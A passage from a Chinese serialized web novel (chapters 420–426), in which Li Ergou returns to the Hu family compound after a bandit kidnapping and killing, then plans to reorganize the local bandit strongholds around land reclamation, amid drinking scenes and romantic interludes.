李二狗叹了一口气,拿起酒瓶又给吴有德倒了一杯酒,然后把自己面前的杯子也满上。 “干爹,说实话,我有点失望。” “奥?失望?此话怎讲?” 李二狗的回答很出乎吴有德的意料,他一去就是两个月,吴有德还以为李二狗已经加入了他们。 “干爹,来,我再敬您一杯。” 两个人一碰杯,又干了。 “和干爹说说,你到底为什么失望?” 李二狗便把这趟南方之行的所见所闻全部告诉了吴有德,当然,他刻意隐去了自己和几个女人的感情纠葛。 吴有德听后默不作声,他也没想到会是这个样子。 “二狗,现在的国民政府已经腐败透顶,想依靠他们让老百姓过上幸福安宁的日子是不可能的,从目前的形势来看,他们的一些主张确实是最适合中国的。” “干爹,您说的这些我都明白,可我在那里看到的情景确实令人胆战心惊,我这次能活着回来见您已经是烧高香了。” “其实任何一个组织的发展壮大都不可能一帆风顺,尤其是建立初期,一切都是摸着石头过河,走一些弯路也是在所难免的。” 李二狗没有说话,闷头又喝了一杯。 吴有德知道,李二狗肯定经历了一些短时间内难以释怀的事情。 “二狗,干爹以前也有过和你一样迷茫的时候,要不是失望透顶,我也不会退出政坛,我看你还是回来帮我吧,管他什么党什么派,咱们就踏踏实实过好自己的日子。” 李二狗已经记不清这是吴有德第几次让自己留下来帮他,可他心里还是割舍不下胡家大院。 “干爹,我一定会回来帮您的,但现在还不行,出来这么久,明天我得回江东了。” 静雯刚刚从厨房端着菜出来,听到李二狗要走,顿时愣在原地。 “二狗,你要走?”静雯声音中已经带有哭腔,“干爹,您不能让他走。” 吴有德无奈地笑了笑,半认真半玩笑地说道:“你都留不住他,我一个老头子又怎么留得住他?” 静雯走到李二狗身边,撅着小嘴撒娇道:“我不让你走!” 李二狗知道静雯不是爱耍小性子之人,便拉着她坐在自己旁边。 “过两天我再回来看你和干爹,现在有了汽车,从江东来省城很方便的。” 离别总是伤感的,再加上吴有德和李二狗各怀心事,很快,吴有德便有了醉意。 “年纪一大,这酒量也变浅了,我先回屋了,你们慢慢吃吧。” 静雯赶紧上前扶住吴有德。 “干爹,我送您回屋。” 吴有德摆了摆手,说道:“我自己上去就行了,你们吃饱了也赶紧回屋休息吧。” 吴有德走后,静雯便故意板着脸不说话,李二狗看她不说话自己也不说话。 不一会儿,静雯的眼泪便“噼里啪啦”地掉了下来。 “二狗,我发现你已经不爱我了。” 李二狗无奈地苦笑一声,只好上前安慰道:“傻瓜,我怎么会不爱你呢?我非常非常爱你。” “哼,你就会嘴上说爱我。” 李二狗突然俯身在他耳边说道:“你说得对,爱不是说的,是做的,那我们快点回屋吧。” 静雯破涕为笑,粉拳不停地捶打着他的胸口。 “你讨厌,你讨厌,没看到人家在生气吗?哼!” “好了,静雯,春宵一刻值千金,咱们就别在嘴上浪费时间了。” 静雯嘴上说着不同意,身体却很诚实地站起来跟着李二狗回了屋。 也许是久旱逢甘霖,也许是受到即将离别的刺激,静雯一反常态,化身热辣性感的小野猫,要了一次又一次。 第二天,李二狗回到胡家大院。 刚进入大院,张二驴见到李二狗就哭了。 “狗哥,你总算回来了。” 李二狗看张二驴一张驴脸快拉到地上,心想肯定出了大事。 “出什么事了?” “少爷……少爷他死了。” 胡福虽傻,但却是张玲玉的命根子。 “到底怎么回事?少爷平时没病没灾的怎么突然就死了?” “你走后不久,秃鹫岭的土匪就把胡福少爷绑架了,向咱们索要五千块大洋的赎金,你知道的,咱们大院这几年一直入不敷出,一时根本拿不出这么多大洋,所以土匪就……” “这群畜生!你怎么不去找清风寨?”李二狗脱口而出。 “清风寨?我不认识他们啊。” 张二驴早就猜到李二狗和清风寨的土匪有牵扯,可他不在,自己也不好直接去找清风寨求救。 再说,天下土匪是一家,也不能空手去找清风寨求救。 “没去找孙县长吗?” 张二驴叹息一声,说道:“我去了,可秃鹫岭不在江东的地面上,孙县长也没有办法。” “二奶奶现在怎么样?” “疯了!” 李二狗的心碎了! 第421章 李二狗冤枉于兰芝 “二驴,我先去看看二奶奶,等午饭后,你到我屋里再和我详细说说情况。” 李二狗径直来到张玲玉院门前,院门半掩着,他抬手敲了敲,里面并没有回应。 他推门而入,看到张玲玉正坐在廊下的一把椅子上,眼睛瞅着天空发呆。 李二狗走到她跟前,她竟没有丝毫察觉。 短短两个月的时间,张玲玉已经瘦脱了相,她披头散发,两眼呆滞,身上的衣服污秽不堪,时不时散发着一股恶臭的味道。 现在的张玲玉再也没有了往日胡家大院二奶奶的神采。 她嘴里只是不停地念叨着“福儿福儿”,李二狗的眼泪流了下来。 “玲玉,我回来了。” 张玲玉这才转头看了一眼李二狗,她突然站起身,一把拉住李二狗的胳膊。 “你有没有见过我的儿子?我的儿子叫胡福,他可乖了,我的福儿可乖了,人人都说他是一个傻子,只有我知道其实他并不傻。” 李二狗情难自抑,他紧紧地握住自己的拳头。 “玲玉,都怪我,是我回来晚了。” 张玲玉仿佛没有听见一般,嘴里一直呢喃道:“福儿你去哪了?娘好想你,福儿,福儿……” 李二狗颤抖地伸出手想要抚摸一下张玲玉的脸庞,她吓得连连后退,把身体蜷缩在一个角落里,嘴里还是不停地念叨着“福儿”的名字。 离开张玲玉的院子,李二狗直接来到于兰芝的院子里。 “二狗,你什么时候回来的?” 于兰芝扑向李二狗,紧紧地抱住他并在他脸上一顿乱啃。 李二狗耷拉着一张狗脸就像一根木头桩子似的杵在那里,毫无反应。 于兰芝啃了一会儿,才发现李二狗的异常。 “你怎么了?人家都想死你了,你竟无动于衷!” “兰芝,我有话问你,你要如实回答我。” 于兰芝脸色微变,好像已经猜到李二狗要问什么。 “怎么了嘛?这么久没见还对人家这么严肃。” “你为什么不去赎胡福,是真的没钱吗?” 于兰芝的眼泪顿时如泉涌般流了下来。 “在你心里我就是这么一个冷酷无情、心狠手辣的女人吗?李二狗,你辜负了我对你的一片深情,我于兰芝就是再无情无义,也不会眼睁睁地看着一个孩子去死吧?呜呜呜,我没法活了。” 于兰芝说完,便转身跑进卧室,关上房门,放声大哭。 迎春抱着梦瑶走出来,刚刚被吓哭的梦瑶看到李二狗竟露出了灿烂的笑脸。 李二狗从迎春手里接过梦瑶,梦瑶咯咯咯咯地笑了起来。 “狗哥,你冤枉大奶奶了。”迎春深深地叹了一口气。 李二狗近段时间以来,一直忙于其他事务,确实对胡家大院的财政状况不太了解。 但他觉得,瘦死的骆驼比马大,苦心经营这么多年的胡家大院,不可能连五千块大洋都拿不出。 “迎春,胡家大院真得没钱了吗?” 迎春点了点头,说道:“这两年,胡家大院接二连三地出事,再加上遇上灾年,不仅收不上租,还拿出那么多粮食赈灾,现在的胡家大院,除了土地,几乎没有任何富余。” 虽说李二狗冤枉了于兰芝,但她对张玲玉不管不问,连个丫鬟都不给安排,实在也是过分。 “二奶奶现在疯了,没找个大夫给看看吗?” “看了,大夫说二奶奶受了非常强烈的刺激,已经无药可救了。” 李二狗没想到,张玲玉曾经那么风光的一个人,如今却是如此下场,实在是令人痛心。 “你先把梦瑶抱回屋,我去看看她。” 迎春接过梦瑶回了屋,李二狗来到于兰芝卧室门前。 “兰芝,是我错怪你了。” 于兰芝哭得声音更大了。 李二狗只好推门而入,于兰芝正伏在床上,哭得一把鼻涕一把泪。 “我这样一个心如蛇蝎的女人,你还理我干什么?”她突然从床上起身,来到李二狗跟前推着他往外走,“你走,你走,永远别再搭理我!” 对付女人,李二狗有一套自己的办法。 女人的法宝无非就是一哭二闹三上吊,在她们生气的时候,和她们讲道理反而会让她们更生气。 李二狗一把抱住于兰芝,于兰芝越挣扎他反而抱得越紧,很快于兰芝就瘫在了他的怀中。 “你好坏,你好坏,就会欺负人家。” “我也是看二奶奶现在的样子可怜,你别生我气了,是我错怪你了。” 于兰芝叹了口气,说道:“虽说我和她这些年一直在争斗,但也在同一个屋檐下生活了这么多年,即使我心里恨她,但孩子是无辜的,我不可能见死不救。” “我知道你一向人美心善。” “当时我已经打发人去卖地了,可现在这个年月,谁还有闲钱买地?秃鹫岭的这群土匪实在是太可恶了,过了他们限定的日期立马杀人,并把尸体扔在大门外,她亲眼见到福儿的尸首怎么能受得了这么大的刺激?当场就疯了!我也是做娘的人,我知道那种恨不得替孩子去死的心情。” 于兰芝说着便伏在李二狗身上嘤嘤哭了起来。 李二狗轻轻拍打着她的后背,自从有了梦瑶之后,于兰芝确实改变了许多。 “好了,兰芝,别哭了,现在二奶奶已经疯了,我看还是派个丫鬟去照顾她吧,她现在的样子我看着实在是不忍心。” “我派过丫鬟去伺候她,可她现在的样子,整日里疯疯癫癫的,丫鬟不仅不好好伺候她,还偷偷打她。” “岂有此理,这样的丫鬟应该赶出胡家大院。” “已经被我赶出去了,可现在就是再派一个,也指不定会怎样。我现在让迎春每天去给她送饭,她受了强烈的刺激,任何人一接近她,她都吓得大呼小叫,但愿过段时间会好一些吧。” “兰芝,辛苦你了。” 于兰芝现在心心念念的都是李二狗,只要他对自己好,一切问题都不是问题。 “我辛苦些又算什么?只要你领情就好。” 于兰芝把头深深地埋在李二狗怀里。 第422章 人家都想死你了 张二驴午饭后来到李二狗住处。 “狗哥,我来了。” “二驴,到底是怎么回事?” 看着李二狗脸色不悦,张二驴打起十二分精神。 “狗哥,这两年灾荒不断,在咱们江东和附近几个县境内出现了大大小小上百股土匪,大部分土匪山寨都是以绑票打劫为生,老百姓苦之久矣!” “二驴,少爷怎么会被他们绑票呢?” 李二狗此话一出,张二驴吓得立马变了脸色。 “狗哥,那天少爷听到大门外有卖糖人的叫卖声,非吵着要吃糖人,谁承想那卖糖人的竟是土匪装扮的,少爷刚出门就被他们掳走了,我带人追出来,他们威胁要当场杀了少爷,我只能眼睁睁地看着少爷被他们掳走,现在想来,那伙土匪肯定是踩了很久的盘子。” “秃鹫岭并不在江东境内,他们怎么跑这么远,来咱们江东绑票?” “哎,如今整个江东县和周边几个县的地主富商都快被他们嚯嚯干净了,咱们胡家大院因为和孙县长关系匪浅,江东的土匪不敢打咱们的主意,谁承想这些外来的土匪……哎!狗哥,是我没保护好胡家大院,你惩罚我吧!” 张二驴说着便跪在李二狗身前。 胡家大院一死一疯,张二驴确实难辞其咎。 “二驴,你起来吧,这不能怪你,这段日子你辛苦了。” 说到底,李二狗才是胡家大院的管家。 是他扔下胡家大院执意去南方寻找什么理想,其实最应该承担责任的是他。 此刻,他陷入深深的自责之中。 如果被土匪绑票的是梦瑶……他真的不敢往下想! 张二驴没想到李二狗不仅不责罚自己,甚至连一句责备的话都没有说,内心更加坚定了以后跟随他的决心。 “狗哥,有件事不知道大奶奶和你讲了没有?” “什么话?” “咱们胡家大院现在真的已经到了山穷水尽的地步了,得快点想想办法,不然就真得撑不下去了。” “现在账上还有多少钱?” “不到五百块大洋!” “粮食呢?” “不到五千斤。” 李二狗想过胡家大院不富余,却没想到胡家大院已经窘迫到这个地步。 就这点钱粮,胡家大院撑不过两个月! “安排人下去催租了吗?” “安排了,可是……” “可是什么?直接说!” “现在村里只剩下一些老弱妇孺,你一去催租,人家就威胁要退租,如今很多地都荒了,根本没人种。” 李二狗想不明白,以前是荒年,出现这种地荒的情况可以理解,可如今雨水充沛,为何会没有人种地呢? “家里那些壮劳力都去哪里了?为什么不种地?” “哎,有一些被抓了壮丁,剩下的一些全部上山当了土匪,村里现在哪里还有壮劳力!?” 李二狗认为,这些根本不是他们不种地的理由。 每家每户只有几亩地,老弱妇孺并不是不能耕种。 “他们不种地,靠什么生活?” “当兵的有军饷,当土匪的也会定期往家里送钱。” 张二驴顿了顿,继续说道:“狗哥,你不知道现在政府的赋税有多重?种一年的地,交完政府的各种赋税和地租之后,基本剩不下什么,还不如干脆不种。” 连年战祸,加上中国又没有工业和服务业,军队和政府只能靠从农业抽税来养活,中国的农民确实苦不堪言! 官逼民反,中国历史上每一次农民起义都是因为生存不下去而爆发的。 但凡有一口饭吃,中国的农民绝不会揭竿而起! 如今的困境,连国民政府都没有办法解决,李二狗当然没有对策。 他目前能做的就是想办法让胡家大院活下去! 李二狗来到清风寨。 “狗哥,你可回来了,我都想死你了。” 陈老三见到李二狗,笑得嘴都歪了。 “老三,你狗日的是真想我还是假想我?我怎么看你都胖了?” “嘿嘿,”陈老三不好意思地摸了摸脑袋,“想你是真想,就是平时吃的太好了,嘿嘿。” 看陈老三肚满肠肥的样子,李二狗内心稍安,这说明山寨没有出什么问题。 “老三,你马上派人去把秀才、嘎子、石头他们叫来,人到齐后咱们开个寨务会。” 秀才和陈嘎子、张石头目前分别驻守在霸虎寨和青山寨,每五天到清风寨开一次寨务会。 “我马上安排人去通知。” 李二狗回到家中,李素文正坐在门口洗衣服。 自从上次兵败转经山之后,李素文心灰意冷,差点遁入空门,是李二狗用自己炽热的情感感化了李素文,使她回心转意。 但从此之后,她便不再过问山寨之事,现在山寨娘子军由望冬带领,她安心在家洗衣做饭,闲暇时看看书,成为一个风轻云淡的女人。 见过李二狗,她立刻从风轻云淡转化为热烈奔放。 “二狗……” 话刚出口,顿时泪流满面。 李二狗张开双臂,李素文立即扑了上去。 “你这段时间死哪去了?人家都想死你了。” 李二狗回来之后,听到最多的话就是想你、想你、想死你。 他没有说话,低头吻住了李素文柔软的唇。 情到浓处,李二狗开始脱李素文的衣服。 起初李素文还沉浸在你侬我侬之中,等脱得只剩下一个红色小肚兜时,才失声叫了出来。 她推开李二狗,双手捂在自己胸前,娇羞道:“你要死啊?大门还没关呢!也不怕别人看见!” 在清风寨,李二狗的家就是禁区,除了陈老三和望冬,没有人敢随意靠近。 李二狗不在的时候,就是陈老三也不敢随意进入。 如果这时候,望冬进来,李二狗倒并不在意。 “在咱们自己家怕什么?”李二狗笑得很放浪,吓得李素文捂着胸口跑进了屋里。 “你关上院门再进来!” 李二狗微微一笑,赶紧关上院门冲进屋里。 “我来了,小宝贝……” 李素文已经钻进被子里,一张俏脸红扑扑的像要滴出水来。 “愣着做什么?”她见李二狗站在床前只顾着看而没有进一步行动,便催促道:“还不进来!” 李二狗三下五除二脱光衣服,进去了…… 第423章 态度决定一切 “狗哥,我可想死你了!” “是啊,狗哥,这段日子你到底去哪了?” “兄弟们想你想得吃不下筷子咽不碗。” “哈哈,是啊,我晚上睡觉总梦见狗哥。” 议事厅内,大家七嘴八舌地表达着李二狗的思念之情,就连望冬看李二狗的眼神都多了几分柔情。 “让兄弟们挂念了,”李二狗说完看到望冬正在看他,便补充道:“还有姐妹们,哈哈。” 大家全都哈哈大笑起来,只有望冬抿着嘴,显得有些羞涩。 她在陈老三面前,可从来没有这种表情。 在李二狗的安排下,望冬得以顺利进入山寨最高权力中心——寨务会。 陈老三一家有两人进入寨务会,所以他俨然已经成为山寨仅次于李二狗的存在。 李二狗不在的时候都是他主持寨务会。 “大家各自说一说山寨的情况吧,老三,你先来。” 陈老三清了清嗓子,显得信心十足。 “目前清风寨除了开展正常训练之外就是垦荒,现在我们已在后山开垦出近五十亩荒地,等着明年开春就可以种上人参了。” 陈老三知道李二狗最关心的事情就是垦荒,所以其他事情他都没有汇报,直接汇报了垦荒的进展。 本来李二狗给他下达的任务是开垦出三十亩荒地,没想到他现在已经开垦出五十亩。 “老三,干得不错,不过这些地不能种人参了。” “为什么?”刚刚还喜笑颜开的陈老三顿时愣住了。 “种人参太慢,三五年才能成熟,咱们等不了。” “那种什么?” “种什么等以后我们再研究,你继续安排人垦荒。” 李二狗深知,开垦出来的荒地不需要给政府缴纳赋税,如果操作得当,整个山寨的人都会衣食无忧。 “还得开垦啊?”陈老三叫苦道,“狗哥,马上入冬了,地越来越硬,要不然还是等明年开春再说吧?” “那你这个冬天也别吃饭了,等着明年春天再吃吧。” 大家都笑了,望冬瞪了陈老三一眼,陈老三便低下头不再说话。 领导已经表扬你了,你不见好就收,反而提出一些令领导不悦的问题,这不是傻雏吗? 在寨务会上,李二狗让大家发表意见并不是真的要听大家的意见,他只是想更加全面地掌握几个山寨的情况。 他一旦决定的事情或者下达的命令绝没有讨价还价的余地,大家不管心里有没有意见,必须选择无条件执行! 如果不换脑子那就换人,李二狗有这个权力! 权威绝对不容挑战! “秀才,霸虎寨什么情况?” 霸虎寨是三个山寨中最大的山寨,后山可开垦的荒地更多,潜力更大。 “霸虎寨和清风寨的情况差不多,除了正常开展训练之外也在全力开荒,目前已开垦出差不多三十亩荒地。当然我们和清风寨相比,还有不少的差距,下一步我们会继续向清风寨学习,进一步加快垦荒进度,争取到今年年底再开垦出三十亩荒地。” 秀才的回答显然比陈老三的回答更加有高度也有深度,他明着在称赞清风寨,其实更多的是在展示霸虎寨的成绩,同时还提出了下一步的计划。 秀才这样的人用好了可以安邦定国,用不好就会功高震主,好在李二狗有信心降服他。 大家都不约而同地汇报垦荒的情况,显然都在揣测李二狗的心思。 “秀才这种不等不靠、主动作为的作风值得大家好好学习。” 李二狗说完便看向陈嘎子和张石头,两人此时已经把头低到了桌面上。 “嘎子、石头,青山寨目前是什么情况?” 两人听到点自己的名字,只能不情愿地抬起头来。 他们面面相觑之后,谁都不愿意汇报。 “嘎子,你说说吧。” 陈嘎子支支吾吾说道:“青山寨比较小,我和石头主要在抓兄弟们的日常训练。” 青山寨虽小,但后山也有大片可以开垦的荒地,对此李二狗心知肚明。 在山上垦荒,并不像在平地上垦荒那么简单,山上垦荒出来的土地必须建成梯田。 由于山上的土地里都掺杂着大量的石头,它们大小不一,开垦起来非常费力,而且需要提前根据山势走向规划梯田的位置和大小。 如果建成的梯田里石头过多,还需要从其他地方运土来填平沟壑,之后再将其整理成适合耕种的水平梯田。 在这个开垦过程中,需要消耗大量的劳动力和农具。 “你们青山寨下一步有什么计划?” 陈嘎子虽然是个粗人,但并不是傻子,他赶忙说道:“我们下一步也计划垦荒。” 这就是陈嘎子和秀才的差距,人家秀才不仅把工作干到前头,制定计划的时候还报出具体的数据。 李二狗知道,对待下属不能要求他们每一个人都能力超群,都把工作想到领导前头。 有能力强一点的,就会有能力差一些的,这样才能在内部达到一个平衡。 如果大家能力都很强,那就说明都很弱。 如果每个人都把工作想到领导前头,那领导将失去对这个团队的领导。 批评落后分子,其实也是在敲打先进分子。 “刚刚听了大家的汇报,我得出一个结论,态度决定一切!一个人的能力有大小,但只要态度端正,一样可以做出优异的成绩。” 李二狗虽然没点名,但大家都心知肚明他在说谁。 陈嘎子和张石头的脸青一阵红一阵,恨不得当场找个地缝钻进去。 “接下来到明年开春的这一段时间,我们的一项重要任务就是垦荒,会后大家把各自山寨的垦荒数量报到望冬那里,数量不要乱报,要具体到每一个人,既要切合实际也要有一定的提前量,明年三月底,我们就按照实际完成数量和质量进行奖惩。” 大家都低着头把李二狗的安排记在自己面前的小本本上,生怕遗漏了他说的任何一句话。 李二狗让各山寨把垦荒的数量报给望冬,自然是对望冬的信任,望冬心里像吃了蜜一样甜。 第424章 土匪集团 “望冬,等各个山寨把数量报上来之后,你把他们报的数量誊写到一张大红纸上,然后贴在这个议事厅后面的那面墙上,以后每个月各山寨报上来的数量也要一起写在上面,除了开垦的总数量之外,还要列出各个山寨人均开垦的数量。” 望冬拍着丰腴的胸脯说道:“狗哥,你就放心吧,我一定按照你的吩咐把这件事办好。” 李二狗满意地向望冬点了点头,望冬心里就像有两只小白兔在窜来窜去。 听了李二狗的安排,大家纷纷低着头,一副心事重重的样子。 李二狗这一招实在是太老辣了! 把各个山寨的数据用这种方式一公开,各个山寨开垦的数量、人均开垦的数量全部一目了然。 哪个山寨干得快,哪个山寨干得慢自然也是一目了然。 如果山寨与山寨之间的差距过大,谁的脸上都不好看。 所以各个山寨只剩下一个选择,那就是甩开膀子,大干特干! 即使不能干别人前面,也绝不能干别人后面。 看大家都低着头不说话,李二狗内心窃喜。 他知道,这里的每一个人都不是善茬,如果一味地示好而不经常借故敲打敲打,他们对李二狗的敬畏之心就会随着时间的流逝而越来越少。 让他们之间保持一种竞争关系,更有利于树立李二狗的权威。 李二狗故意咳嗽一声,问道:“大家还有事汇报吗?没有的话,秀才留一下,其他人散会。” 陈老三不知道李二狗为何单独把秀才留下,内心不免有些醋意。 大家都站起来往外走,望冬见陈老三坐在那里不动,便白了他一眼,陈老三只好站起来,跟着望冬一起走了出去。 刚出议事厅的门,望冬就数落道:“老三,你脑子是不是锈掉了?刚才狗哥都说散会了,你怎么还杵在那里不动弹?狗哥的话你当耳旁风吗?” 陈老三耷拉着一张脸,嘀咕道:“我这不是好久没见狗哥了嘛?我想和他说点私话嘛,谁承想他却单单把秀才留下,我才是他最亲近的兄弟。” 望冬拍了一下陈老三的榆木脑袋,他想事情永远是这么简单。 “傻瓜,狗哥留下秀才肯定是有公事。我一会儿就去找素文姐,帮她做上几个硬菜,晚上你们哥俩喝两盅,到时候,你有多少话还说不完?” “嘿嘿,还是你他娘的脑子好使,我怎么就想不到这些呢?” 陈老三人挺实在,就是脑子不太好使,和李二狗比起来,差得不是一点两点,这也正是望冬对他不满意的地方。 但话又说回来,如果换成李二狗,他也不可能事事都听望冬的。 现在陈老三凡事都听望冬的,而她自己又得到李二狗如此信任,她心里已经很知足了。 “老三,狗哥对咱们夫妻这么信任,咱们可不能辜负了他的一番美意啊,垦荒的事你必须走在前头,不能丢我的脸,更不能丢狗哥的脸,你清楚吗?” “放心吧,”陈老三淫邪地一笑,“耕地垦荒……我最擅长了,嘿嘿。” “滚!臭流氓!” 望冬狠狠地掐了一把陈老三,疼得他嗷嗷直叫唤,引得大家纷纷侧目,望冬赶紧低着头走开了。 而在议事厅内,秀才正襟危坐,他不知道李二狗单独把他留下来是为了什么事情。 “秀才,秃鹫岭的情况你了解吗?” 李二狗说话的时候一脸严肃,秀才立马揣测到李二狗的意图。 秀才平时有个习惯,对于江东和周边地区新崛起的土匪山寨,他都会特意安排人去打探打探情况,以此做到知己知彼。 “狗哥,据我所知,秃鹫岭刚刚成立不久,现在也就有二十几个土匪十几条枪,为首的叫方天朔,以前是个杀猪匠,能力平平,但此人心狠手辣,杀人如麻,连妇孺老人都不放过,是一个十足的人渣败类。” 方天朔前几天撕了胡家大院的肉票,秀才已有耳闻,他早就料到李二狗会打听秃鹫岭的情况。 “既然是个败类,那就想办法除掉他,在江东,我不允许任何人滥杀无辜。” 李二狗说这话的口气简直比江东县长孙竹刚的口气还大! 但秀才听了他的话却一点也不感到惊讶! 因为李二狗做得到,他并不是一个乱放空炮的人! “狗哥,我马上再安排人去把秃鹫岭的情况打探清楚。” “去吧,但千万不要打草惊蛇,毕竟秃鹫岭不在江东县境内。” “好,我亲自去一趟。” “秀才兄弟,路上小心一点。” 秀才走后,李二狗一个人坐在议事厅里发呆。 南方之行令李二狗非常失望,他决定自己做点有利于百姓的事情。 他心中有一张蓝图,计划对江东县及其周边地区的土匪山寨进行整编。 一些恶贯满盈、凶狠残暴的土匪必须予以彻底消灭。 一些因无家可归而被迫落草为寇的土匪收归己用。 一些整日无所事事、好吃懒做的土匪就地就散,打发回家种地。 按照李二狗心中的构想,等把江东县及其周边的土匪山寨去粗取精、去莠存良之后,整编成一个以清风寨、霸虎寨、青山寨为核心,其他土匪山寨加盟的土匪集团。 在整编的过程中,要进一步壮大清风寨、霸虎寨、青山寨的规模,形成对其他加盟山寨的碾压之势。 整编完成之后,任何人想在江东及其周边地区建立土匪山寨,都必须得到集团的认可。 也就是说,除非加入集团,否则任何一个土匪山寨都不可能建立。 一旦选择加入,必须遵守集团的各项规章制度。 在这个集团里,最高决策机构依然是寨务会。 各个山寨生存的方式不再是打家劫舍、绑票勒索,而是自力更生、丰衣足食。 垦荒就是其中非常重要的一种生存方式。 他之所以有信心做成此事,还有一个重要原因,就是他和县长孙竹刚的关系。 当然要实现李二狗心中这个宏伟的计划,短期内不可能一蹴而就。 秃鹫岭不幸成为第一个牺牲品。 第425章 信不信我用针把你嘴缝上? 李二狗独自一人在议事厅一直待到天黑,心中想了很多事情,之前内心的那片迷茫渐渐有了一种拨云见日的感觉。 从议事厅出来,刚走到家门口,便看到陈老三正站在院门口抽烟。 很显然他是在等李二狗。 刚才,李二狗会后把秀才单独留下,当时他已经注意到陈老三脸上的表情变化。 在整个清风寨,对李二狗最忠心之人无疑是陈老三。 虽然陈老三身上有这样那样的毛病,但李二狗把权力交到他手中,自己心里非常踏实。 他不担心陈老三会篡权,也不担心陈老三背地里使阴招害自己。 更何况还有望冬,他之所以刻意提拔望冬,间接也是为了控制陈老三,让他更加死心塌地地跟着自己。 在寨务会里,只要陈老三和望冬坚定地支持李二狗,那他就控制住了整个山寨的基本盘。 “狗哥,你回来了。” 陈老三看到李二狗,赶紧笑容满面的迎了上去。 李二狗点了点头,脸上的表情没有任何变化。 “你站在门口干什么?怎么不进去?” 陈老三嘿嘿一笑。 “我在这里等你,再说你不在家,我进去也不方便。” 李二狗知道这是陈老三故意把这些话说给自己听。 一方面表达他对李二狗的尊敬,另一方面也是在告诉李二狗,他不在山寨的时候,自己是绝对不会进这个院子的。 “别他娘的扯犊子了!在清风寨,我信不过你还能信任谁?” 陈老三明明挨了骂,心里却像吃了蜜糖一样甜。 “嘿嘿,狗哥,我还以为你不拿我当你最好的兄弟了!” “放屁!老三,你记住,在这个世界上,我最好的兄弟永远是你,只能是你!” 陈老三被李二狗一句话说的眼泪婆娑。 “狗哥,我陈老三这辈子跟定你了,你就是现在要我这条命,我也绝不会皱一下眉头。” “我要你狗日的命干什么?咱们的好日子还在后头!” 经李二狗这几句话一煽,陈老三心里畅快极了,之前的疑虑全部烟消云散。 进入院子里,望冬正在厨房炒菜。 “狗哥,你回来了,”望冬每次见到李二狗,内心就开心的不要不要的,“菜马上就好,你先洗把脸休息一下。” 李二狗也不知道什么原因,他总觉得望冬就像自己的妹妹。 内心虽然很喜欢她,但又不是男人对女人的那种喜欢。 “望冬,辛苦你了,好久没吃到你做的菜了。” “嘻嘻,你要想吃啊我天天给你做都行。” 望冬说完,一张俏脸红扑扑的,不知道是被柴火烤的还是羞的。 李素文玩笑道:“你这是嫌弃我做的菜难吃呗!有话不直说,还拐弯抹角的。” 李二狗忙赔着笑脸说道:“你们做得都好吃,我都吃不够。” “臭贫!” 李素文笑着把一条热毛巾递给李二狗,然后去厨房帮忙。 很快,一桌子硬菜就做好了,鸡鱼肉蛋样样都是色香味俱全。 陈老三殷勤地给李二狗倒满了一杯酒。 李二狗看到望冬没有上桌,便喊道:“望冬,先别忙了,你也坐下来喝一杯。” 望冬内心一直把自己当成李素文的丫鬟,作为丫鬟,她是不能和主子一起上桌吃饭的。 “是啊,望冬,先别忙了,过来一起吃吧。”李素文附和道。 陈老三又把自己面前的酒杯倒满,才说道:“她想忙就让她去忙,咱们先喝。” “没看出来,你狗日的还是大男子主义,望冬不坐下,今天咱们谁也不许动筷子!” 望冬听闻李二狗的话,激动的眼泪都掉下来了。 她赶忙擦了擦手,坐到陈老三身边。 “老三,给望冬也满上。” 望冬莞尔一笑,说道:“狗哥,我不太会喝酒。” “会不会喝都得满上,今天咱们高兴。”说着他又看向素文,“你也喝点吧?难得大家这么高兴。” 李素文一向对李二狗言听计从,他要她喝,她没有不喝的道理。 “我和望冬酒量不行,就每人倒半杯吧,省得都醉的不省人事。” 望冬附和道:“是啊是啊,素文姐说得对,一会儿我还得给你们下面呢。” “好吧,那就倒半杯。” 众人都端起酒杯,纷纷看向李二狗,等待他说话。 李二狗确实有话要说。 “我这次出去,时间有点长,我不在的这段时间,老三和望冬都干得不错,你素文姐都告诉我了,我得好好感谢你们,辛苦了,来,咱们干一杯。” 陈老三乐得只会嘿嘿傻笑,望冬说道:“狗哥,一家人不说两家话,这都是我和老三应该做的。” 李二狗和陈老三一饮而尽,李素文和望冬则轻轻地抿了一口,尤其是望冬,她内心不停地提醒自己,必须时刻保持清醒。 喝完一杯,陈老三赶紧又把酒杯倒满。 “这第二杯酒,咱们喝个缘分酒。你我四人来自五湖四海,是缘分让咱们走到了一起,我和老三是最好的兄弟,素文和望冬是最好的姐妹,就像望冬刚才说的,咱们就是一家人。来,为了缘分,干了!” 李二狗和陈老三又是一饮而尽。 “你们慢点喝,多吃点菜。”李素文一边埋怨一边往李二狗碗里夹菜。 陈老三借着酒劲,端着碗对望冬说道:“我也要。” 望冬打了陈老三一下,说道:“要个屁!要吃自己夹。” 望冬说这话的时候,还不忘用眼睛余角瞥了一眼李二狗。 “我是男人,不会夹!你们女人才会!” 陈老三此言一出,连李素文的脸上都羞得有些挂不住了! “陈老三,你要死啊?!喝点酒嘴上就把不住门,信不信我用针把你嘴巴缝上?” 望冬说着狠狠地掐了陈老三一把,疼得他龇牙咧嘴。 李二狗就喜欢看女人羞涩的样子,此时李素文和望冬都一张小脸红扑扑的,他内心竟莫名地有些兴奋。 望冬狠狠地白了陈老三一眼,埋怨道:“老三,你快把嘴闭上,听狗哥说。” 陈老三嘿嘿一笑,不再说话。 第426章 绝不搞特权主义、官僚主义那一套 “这第三杯酒就喝个祝福酒吧,祝福咱们以后都过上自己想要的生活。干了!” 李二狗敬完三个酒,望冬在桌下踢了一下陈老三,暗示他敬酒。 陈老三是个粗人,不太会这些文绉绉的言辞。 “狗哥,素文姐,我陈老三是一个粗人,也不会说什么好听的话,我今天就表个态吧,以后我一定惟狗哥马首是瞻,赴汤蹈火,在所不辞!我干了!” 陈老三一仰头,一饮而尽。 李二狗微微一笑,也仰头一饮而尽。 几杯酒下肚,无论是李二狗还是陈老三都有了一些醉意。 “狗哥,你说我是不是你最好的兄弟?”陈老三借着酒劲发起了酒疯。 “你他娘的这是屁话!你不是我最好的兄弟谁是我最好的兄弟?” “秀才啊,我看你对秀才比对我好!” 望冬拉了一把陈老三,数落道:“老三,你别喝点酒就胡说八道。” 陈老三一脸的不服气。 “我没有喝多,我就是想问问狗哥,我到底是不是他最好的兄弟?” 望冬一脸歉意地看向李二狗:“狗哥,你别和他一般见识,这个人喝点酒就不知道自己姓什么了。” “我没喝多!”陈老三反驳道。 “还没喝多?!赶紧给我回家,看我回家怎么收拾你!” 陈老三嚷道:“怎么收拾我?不让我上床吗?告诉你,望冬,我陈老三不怕,哼,不怕……” 